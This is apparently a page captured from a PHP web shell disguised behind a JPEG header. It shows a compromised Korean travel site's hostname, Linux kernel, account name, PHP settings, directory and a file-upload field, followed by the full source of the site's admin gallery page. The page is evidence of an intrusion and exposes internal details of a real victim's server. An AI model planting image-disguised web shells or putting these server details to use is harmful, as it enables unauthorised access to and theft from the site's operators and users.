ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/toadmin/design/ |
Upload File : |
<? include "../include/top_iframe.html"; $table = "TB_POPUP_GALLERY"; $upload = "../../FileData/pop/"; // 검색 설정 $sql_where = " "; // 리스트 수 가져옴 $sql = "select count(*) as total from {$table} where 0=0 {$sql_where} "; $row = db_fetch($sql); $total = $row[total]; // 페이지수 설정 if (!$spage) $spage = 1; // 페이지 번호 $line = 14; // 보여줄 갯수 $list = 10; // 블럭 갯수 $total_page = ceil($total / $line); // 총페이지 if ($total == 0) $total_page = 1; // 데이터가 하나도 없으면 총페이지 1 if ($spage > $total_page) $spage = $total_page; // 페이지가 전체 페이지보다 크면 페이지 번호를 바꿈 $total_list = intval($total_page / $list); if ($total_page % $list == 0) $total_list--; $curr_list = intval($spage / $list); if ($spage % $list == 0) $curr_list--; $start_page = $curr_list * $list + 1; $prev_list = $start_page - $list; $next_list = $start_page + $list; $olds = $line * ($spage - 1); // 정렬 설정 $sql_order=" order by OrderNum desc "; $sql = "select * from {$table} where 0=0 {$sql_where} {$sql_order} limit {$olds} , {$line} "; $rs = db_query($sql); while($row = db_fetch_array($rs)) { // 이미지 사이즈 $row['img_size'] = @filesize($upload.$row['img']); // 이미지 크기 $img = @getimagesize($upload.$row['img']); $width = $img[0]; $height = $img[1]; $row['r_width'] = $width; $row['r_height'] = $height; if($width > 130 || $height >130 ) { if($width>$height) { $width = 130; $height = (int)($img[1]*$width/$img[0]); } if($height>130){ $height = 130; $width = (int)($img[0]*$height/$img[1]); } } $row['width'] = $width; $row['height'] = $height; $data[] = $row; } ?> <div class="iframe ma0"> <div class="popbox"> <!-- 본문 --> <!-- 스크립트 업로드 --> <link rel="stylesheet" href="/js/plupload/js/jquery.ui.plupload/css/jquery.ui.plupload.css" type="text/css" /> <script type="text/javascript" src="/js/plupload/js/plupload.full.min.js"></script> <script type="text/javascript" src="/js/plupload/js/jquery.ui.plupload/jquery.ui.plupload.min.js"></script> <script type="text/javascript" src="/js/plupload/js/i18n/ko.js"></script><!-- 언어팩 --> <!-- 파일업로드 부분 --> <script type="text/javascript"> // Initialize the widget when the DOM is ready $(function() { $("#uploader").plupload({ // General settings runtimes : 'html5,flash,silverlight,html4', url : 'popup_upload.php', // User can upload no more then 20 files in one go (sets multiple_queues to false) max_file_count: 30, chunk_size: '1mb', // Resize images on clientside if we can /*resize : { width : 200, height : 200, quality : 90, crop: true // crop to exact dimensions },*/ multipart_params : { "Goods_Code" : '' }, filters : { // Maximum file size //max_file_size : '5mb', // Specify what files to browse for mime_types: [ {title : "Image files", extensions : "jpg,jpeg,gif,png,bmp"} /*,{title : "Zip files", extensions : "zip"}*/ ] }, // Rename files by clicking on their titles rename: true, // Sort files sortable: true, // Enable ability to drag'n'drop files onto the widget (currently only HTML5 supports that) dragdrop: true, // Views to activate views: { list: true, thumbs: true, // Show thumbs active: 'thumbs' }, // Flash settings flash_swf_url : '/js/plupload/js/Moxie.swf', // Silverlight settings silverlight_xap_url : '/js/plupload/js/Moxie.xap', //업로드후 페이지 리로드 complete: function() { self.location.reload(); } }); }); </script> <!-- 폼 --> <form name="frm_gallery" id="frm_gallery" method="post" enctype="multipart/form-data"> <input type="hidden" name="SqlType" value="tourplace_edit" /> <input type="hidden" name="seq" value="<?=$seq?>" /> <table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write" summary="갤러리에 이미지를 등록하실 수 있습니다."> <caption>갤러리등록</caption> <tbody> <tr> <td> <form id="form" method="post" action="/js/plupload/examples/dump.php"> <div id="uploader"> <p>Your browser doesn't have Flash, Silverlight or HTML5 support.</p> </div> <!--<br /> <input type="submit" value="Submit" />--> </form> </td> </tr> </tbody> </table> </form> <!-- /폼 --> <!-- 폼 --> <form name="frm_gallery_edit" id="frm_gallery_edit" method="post"> <input type="hidden" name="SqlType" value="gallery_edit" /> <div class="photo_upload mt30"> <div class="top_txt_zone"> <div class="search_result_txt"> <strong><?=$total?></strong><span>개의 이미지가 등록되어 있습니다.</span> </div> <ul class="btn_photo"> <li class="gallery_all"><input id="gallery_item_all" name="gallery_item_all" value="" type="checkbox"><label for="gallery_item_all"> 전체</label></li> <li><a id="gallery_modify" class="Table_btn red" href="#">파일수정</a></li> <li><a id="gallery_delete" class="Table_btn gray" href="#">파일삭제</a></li> </ul> </div> <ul class="photo_list"> <? for($i=0 ; $i < count($data) ; $i++){ $row = $data[$i]; ?> <li> <dl> <dd class="photo_w"> <p class="txt input_lo"> <input name="chkall[]" id="chkall_<?=$row['seq']?>" type="checkbox" value="<?=$row['seq']?>" /><span class="c_green"><label for="chkall_<?=$row['seq']?>"><?=number_format($row['img_size']/1000)?>KB</label></span> </p> <p class="img"><img src="<?=$upload.$row['img']?>" alt="호텔이미지" width="130" height="90" onClick="parent.loadImage(this.src,'<?=$row['r_width']?>','<?=$row['r_height']?>');parent.to_dialog.close('<?=$tmp_layer_id?>');" style="cursor:pointer;" /><input type="hidden" name="img_<?=$row['seq']?>" value="<?=$row['title']?>" /></p> </dd> <dd> <input name="title_<?=$row['seq']?>" id="title_<?=$row['seq']?>" type="text" value="<?=$row['title']?>" title="제목" class="input_text" style="width:100px;" /> <input name="OrderNum_<?=$row['seq']?>" id="OrderNum_<?=$row['seq']?>" type="text" value="<?=$row['OrderNum']?>" title="순서" class="input_text" style="width:20px;" maxlength="3" /> </dd> </dl> </li> <?}?> </ul> </div> </form> <!-- /폼 --> <!-- /본문 --> </div> </div> <script type="text/javascript"> //파일수정 $("#gallery_modify").bind("click",function(){ var is_check="false"; $("input[name='chkall[]']").each(function(){ if(this.checked==true)is_check="true"; }); if(is_check=="false"){ alert('적어도 한개를 선택해 주세요.'); return false; } if(!confirm('수정하시겠습니까?'))return false; $("form#frm_gallery_edit input[name='SqlType']").val("gallery_edit"); ajax_post("ajax_proc","popup_proc.html","frm_gallery_edit"); }) //전체선택 $("#gallery_item_all").bind("click",function(){ var chkall = this.checked; $("input[name='chkall[]']").each(function(){ this.checked=chkall; }); }) //갤러리이미지 삭제 $("#gallery_delete").click(function(){ var is_check="false"; $("input[name='chkall[]']").each(function(){ if(this.checked==true)is_check="true"; }); if(is_check=="false"){ alert('적어도 한개를 선택해 주세요.'); return false; } if(!confirm('정말 삭제하시겠습니까?'))return false; $("form#frm_gallery_edit input[name='SqlType']").val("gallery_delete"); ajax_post("ajax_proc","popup_proc.html","frm_gallery_edit"); }) </script> <? include "../include/footer_iframe.html"; ?>